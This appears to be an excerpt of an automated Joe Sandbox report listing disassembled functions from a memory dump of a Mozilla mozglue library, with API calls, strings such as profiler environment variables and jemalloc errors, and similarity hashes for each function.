Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4655eb1bfe38296c705d8f42f76a72d831d4f651bad410830d3bfe203f1c4274
Instruction ID: 89b2b59760b55d6c9e99bc72bac87fbc6b02da45fe9e27c2ea1921ea61307d11
Opcode Fuzzy Hash: 4655eb1bfe38296c705d8f42f76a72d831d4f651bad410830d3bfe203f1c4274
Instruction Fuzzy Hash: 4421A171A0825A9FDF10CF69D88569E77F9EF88308F044039E80D97241EB749A58CF92

Function 6CB176C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB176F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB17705

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB17717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB1778F,00000000,00000000,00000000,00000000), ref: 6CB17731
free.MOZGLUE(00000000), ref: 6CB17760

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 5d14601cf37d00e1b0bdb2fb39190d727ec17e2750656c03afb375670d2e6c48
Instruction ID: 7a3c6c5f05b4f0b85fdb85701de8aa3789ebe956117120fed8a7436224923582
Opcode Fuzzy Hash: 5d14601cf37d00e1b0bdb2fb39190d727ec17e2750656c03afb375670d2e6c48
Instruction Fuzzy Hash: D011C4B1904255ABEB10AF76DC44BAFBEF8EF56354F144429F848E7700E77098448BE2

Function 6CAF0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAB3DEF), ref: 6CAF0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAB3DEF), ref: 6CAF0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAB3DEF), ref: 6CAF0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAF0D97, 6CAF0DBE
<jemalloc>, xrefs: 6CAF0D92, 6CAF0DB9

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 6eed128d0e0571cb50f4342783bae4ff5e9fb85a552ee0807e8201e26aa0161f
Instruction ID: ca6fbdb20a50462726724890e88fda041f15a15e59134d92d7d474c48d22ade6
Opcode Fuzzy Hash: 6eed128d0e0571cb50f4342783bae4ff5e9fb85a552ee0807e8201e26aa0161f
Instruction Fuzzy Hash: 89F0E0313806D823E52011650C09B6B355D67C1B55F385035F66CDF9C4DA70E4464674

Function 6CB07620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB075C4,?), ref: 6CB0762B

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB074D7,6CB115FC,?,?,?), ref: 6CB07644
GetCurrentThreadId.KERNEL32 ref: 6CB0765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB074D7,6CB115FC,?,?,?), ref: 6CB07663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB074D7,6CB115FC,?,?,?), ref: 6CB07677

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 60d5040e550d86cdefcb8e27f2c6b86b902db4cb1f818a5b31eb3a6708ea08c6
Instruction ID: 0e796f2a6de500e5226e98902a79b57de70869f32c04703e91c0019fd339630a
Opcode Fuzzy Hash: 60d5040e550d86cdefcb8e27f2c6b86b902db4cb1f818a5b31eb3a6708ea08c6
Instruction Fuzzy Hash: 5FF0C271E10B55ABD7008F26C88867AB778FFEA259F114316F90843601E7B0A5D08BD1

Function 6CB11700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB11800

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3EBD,6CAF3EBD,00000000), ref: 6CAB42A9

Strings

Details, xrefs: 6CB11925
{marker.name} - {marker.data.name}, xrefs: 6CB118C7
name, xrefs: 6CB11939

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 89f28da54d78d7a921024f3796b19c52cbb13d89a22f94cef296440a7be7b431
Instruction ID: 4b24845d7dfcb1780923f1c6a72051239823c83cc4a3fc7cf011f15b989698bc
Opcode Fuzzy Hash: 89f28da54d78d7a921024f3796b19c52cbb13d89a22f94cef296440a7be7b431
Instruction Fuzzy Hash: B57115B0A047869FDB04DF28D450BAEBBB5FF45314F044669D8194BB41DB70EA98CBE2

Function 6CB1B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB1B0A6,6CB1B0A6,?,6CB1AF67,?,00000010,?,6CB1AF67,?,00000010,00000000,?,?,6CB1AB1F), ref: 6CB1B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB1B0A6,6CB1B0A6,?,6CB1AF67,?,00000010,?,6CB1AF67,?,00000010,00000000,?), ref: 6CB1B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB1B0A6,6CB1B0A6,?,6CB1AF67,?,00000010,?,6CB1AF67,?,00000010), ref: 6CB1B25F

Strings

map/set<T> too long, xrefs: 6CB1B1FA

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: d9ccba39cc61010be8cf2be9e8fd126d378cb9ca98ba677c87c7d5b134a742ba
Instruction ID: 81a70276a5d23115d4825dea1c10ea131788a88be304178a12d70b102a7516f8
Opcode Fuzzy Hash: d9ccba39cc61010be8cf2be9e8fd126d378cb9ca98ba677c87c7d5b134a742ba
Instruction Fuzzy Hash: F3618CB46082858FD701CF19C880A9ABBF1FF4A328F29C599D8598FB52C731EC55CB91

Function 6CADD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

EnterCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD4F2
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD50B

Part of subcall function 6CABCFE0: EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CABCFF6
Part of subcall function 6CABCFE0: LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CABD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD52E
EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CADD690
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAED1C5), ref: 6CADD751

Strings

MOZ_CRASH(), xrefs: 6CADD4BB

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: ac298c45f2f9e40f30c3390983fe0d910d0bf9bd3617443b61a592fc405742f3
Instruction ID: b611f9505f8382e1384bcaa400fa30e75f8294a3477709d23f5475a735a5675f
Opcode Fuzzy Hash: ac298c45f2f9e40f30c3390983fe0d910d0bf9bd3617443b61a592fc405742f3
Instruction Fuzzy Hash: 6151F371A047518FD328CF28C19475ABBE1EB89704F15492EE99DC7B84D770E884CF91

Function 6CB04630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB04721

Strings

., xrefs: 6CB0476A
-%llu, xrefs: 6CB04733
profiler-paused, xrefs: 6CB046E4

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 99d31615e3368b006ba5668491cb5fda15d1add3e84b4b27506d8f2f0424766e
Instruction ID: 2465108e8d591fe5ace7b7c39e7ec85aa6bfbb43089b141a3fefb21e05f8bcb9
Opcode Fuzzy Hash: 99d31615e3368b006ba5668491cb5fda15d1add3e84b4b27506d8f2f0424766e
Instruction Fuzzy Hash: E0412671F047489BCB08DF78E85116FBBE5EF95744F10862EE859A7B81EB349844CB82

Function 6CB29830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB2985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB2987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB298DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB298D9

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 694ca9ff931850051243e8a377aef62d14bbdd58249929953073578408cab88b
Instruction ID: 95663fcd0a722af3ef4da7d3d48bc2a3d8b2f6c597abb36cacd7f34fbab25542
Opcode Fuzzy Hash: 694ca9ff931850051243e8a377aef62d14bbdd58249929953073578408cab88b
Instruction Fuzzy Hash: 6C313571E0020C9FDB14AF58EC149EE77A9DF88318F00842DEA1E9BB40DB3069098BE1

Function 6CB046E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB04721

Part of subcall function 6CAB4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAF3EBD,00000017,?,00000000,?,6CAF3EBD,?,?,6CAB42D2), ref: 6CAB4444

Strings

., xrefs: 6CB0476A
-%llu, xrefs: 6CB04733
profiler-paused, xrefs: 6CB046E4

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 5ab0de7a4960716f6424fe15b00f70503841668951ab978847b786be3584a264
Instruction ID: dc1287c17535ceedfbab35cdd408d264868e0293fd6c460fbacc3d4fc65603c9
Opcode Fuzzy Hash: 5ab0de7a4960716f6424fe15b00f70503841668951ab978847b786be3584a264
Instruction Fuzzy Hash: 2B313771F043585BCB0CDF6CD8916AEBFE6DB98314F14853EE8099BB81EB7498448B91

Function 6CB0B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3EBD,6CAF3EBD,00000000), ref: 6CAB42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB0B127), ref: 6CB0B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB0B4E4

Strings

pid:, xrefs: 6CB0B4DE

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 2449db9c30e9180057c43bfb2043219340936a5b84a7ed4489530d632f0b3ae6
Instruction ID: e6b4bf6e9569d16e1c20a47c8844b30dbd04cb3ef867c9d0876026a5d18cfc87
Opcode Fuzzy Hash: 2449db9c30e9180057c43bfb2043219340936a5b84a7ed4489530d632f0b3ae6
Instruction Fuzzy Hash: CD312631B01259CFDB10DFA9D880AEEBBB5FF05318F540529D81567A41D731EA89CBE2

Function 6CAFE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFE577
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFE584
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAFE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAFE722, 6CAFE750, 6CAFE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAFE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAFE826, 6CAFE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAFE655
MOZ_PROFILER_STARTUP, xrefs: 6CAFE5A1, 6CAFE5CC, 6CAFE5FF, 6CAFE62A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: a151a0fff6f637d541becff346d9b66118057394227b63e5f48fdfb08dd466fa
Instruction ID: edb640b4496f40e599ccb5b0334600ac1023b1434c690f6a4d29d7ad4707f8d2
Opcode Fuzzy Hash: a151a0fff6f637d541becff346d9b66118057394227b63e5f48fdfb08dd466fa
Instruction Fuzzy Hash: 481104316042A8DFCB109F18C448B6DBBB8FB89728F040619F89947B50C770A849CFD1

Function 6CB00C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB00CD5

Part of subcall function 6CAEF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB00D40
free.MOZGLUE ref: 6CB00DCB

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

free.MOZGLUE ref: 6CB00DDD
free.MOZGLUE ref: 6CB00DF2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: c8b3903fb09611389d2051f6927dc0b7562f7afdf1cec0bc49faab7927ea973a
Instruction ID: dfa2605e1b16dd70cdebdbdba91ed252a97d4593eef92e1c655789eaacdf6533
Opcode Fuzzy Hash: c8b3903fb09611389d2051f6927dc0b7562f7afdf1cec0bc49faab7927ea973a
Instruction Fuzzy Hash: 7D41F775A087918BD320DF29D1407AAFBE5FFC9614F518A2EE8D887750DB70A484CB92

Function 6CB0CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0CDA4

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

Part of subcall function 6CB0D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB0CDBA,00100000,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0D158
Part of subcall function 6CB0D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB0CDBA,00100000,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0CDC4

Part of subcall function 6CB07480: ReleaseSRWLockExclusive.KERNEL32(?,6CB115FC,?,?,?,?,6CB115FC,?), ref: 6CB074EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0CECC

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

Part of subcall function 6CAFCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB0CEEA,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?,00000000), ref: 6CAFCB57
Part of subcall function 6CAFCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAFCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB0CEEA,?,?), ref: 6CAFCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0D058

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: d243e1b8cd931a6e6b4b21a3ffcc558895928accf25e7507c67f46aefc1f5d83
Instruction ID: ccbe5c979a8fd527909a4444e042fe345088669babce96c1762a68b6d5d991c1
Opcode Fuzzy Hash: d243e1b8cd931a6e6b4b21a3ffcc558895928accf25e7507c67f46aefc1f5d83
Instruction Fuzzy Hash: BBD18F71B04B469FD708CF28C580799FBE1FF88304F01866DD85987751EB31A9A9CB82

Function 6CAC1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAC17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAC18EE
free.MOZGLUE(?), ref: 6CAC1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC194C

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: f0bbdf3f1da3d50545899796327cd43cdb49f66935a5dbe349c1967c9c54609e
Instruction ID: 421d8019eb63799295e492db2283db1a2cc53cd0c9cb43b71430c375b501d014
Opcode Fuzzy Hash: f0bbdf3f1da3d50545899796327cd43cdb49f66935a5dbe349c1967c9c54609e
Instruction Fuzzy Hash: EB81B170B142059FDB08CFA8D8D49AEBBB1FF89314F04456CE915AB754D730E898CBA2

Function 6CAD5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAD5D40
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5D67
__aulldiv.LIBCMT ref: 6CAD5DB4
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5DED

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
